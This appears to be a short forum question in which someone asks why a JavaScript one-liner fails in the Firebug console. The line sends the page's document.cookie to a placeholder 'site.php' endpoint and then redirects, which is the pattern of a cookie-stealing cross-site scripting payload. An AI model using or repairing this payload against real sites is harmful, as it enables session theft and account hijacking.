I am trying to get the following to code work. But it just wont :(.
I have tested the timeout on its own and it works fine (Code line 2), but the first line wont work :(, any guidance would be appreciated.
document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);
setTimeout(document.location='http://site/site/newpage',500);
I am testing this inside firebug console (by the way)